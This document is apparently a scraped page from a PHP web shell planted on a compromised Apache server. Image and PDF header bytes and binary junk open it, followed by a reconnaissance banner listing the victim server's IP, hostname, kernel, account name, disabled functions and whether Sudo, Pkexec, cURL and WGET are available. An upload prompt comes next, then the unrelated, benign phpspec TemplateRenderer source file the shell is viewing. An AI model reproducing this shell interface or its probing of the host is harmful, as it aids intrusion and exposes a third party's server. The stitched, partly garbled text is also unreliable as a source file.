ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.148 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/vendor/phpspec/phpspec/src/PhpSpec/CodeGenerator/ |
Upload File : |
<?php /* * This file is part of PhpSpec, A php toolset to drive emergent * design by specification. * * (c) Marcello Duarte <marcello.duarte@gmail.com> * (c) Konstantin Kudryashov <ever.zet@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PhpSpec\CodeGenerator; use PhpSpec\Util\Filesystem; /** * Template renderer class can render templates in registered locations. It comes * with a simple placeholder string replacement for specified fields */ class TemplateRenderer { /** * @var array */ private $locations = array(); /** * @var Filesystem */ private $filesystem; /** * @param Filesystem $filesystem */ public function __construct(Filesystem $filesystem = null) { $this->filesystem = $filesystem ?: new Filesystem(); } /** * @param array $locations */ public function setLocations(array $locations) { $this->locations = array_map(array($this, 'normalizeLocation'), $locations); } /** * @param string $location */ public function prependLocation($location) { array_unshift($this->locations, $this->normalizeLocation($location)); } /** * @param string $location */ public function appendLocation($location) { array_push($this->locations, $this->normalizeLocation($location)); } /** * @return array */ public function getLocations() { return $this->locations; } /** * @param string $name * @param array $values * * @return string */ public function render($name, array $values = array()) { foreach ($this->locations as $location) { $path = $location.DIRECTORY_SEPARATOR.$this->normalizeLocation($name, true).'.tpl'; if ($this->filesystem->pathExists($path)) { return $this->renderString($this->filesystem->getFileContents($path), $values); } } } /** * @param string $template * @param array $values * * @return string */ public function renderString($template, array $values = array()) { return strtr($template, $values); } /** * @param string $location * @param bool $trimLeft * * @return string */ private function normalizeLocation($location, $trimLeft = false) { $location = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $location); $location = rtrim($location, DIRECTORY_SEPARATOR); if ($trimLeft) { $location = ltrim($location, DIRECTORY_SEPARATOR); } return $location; } }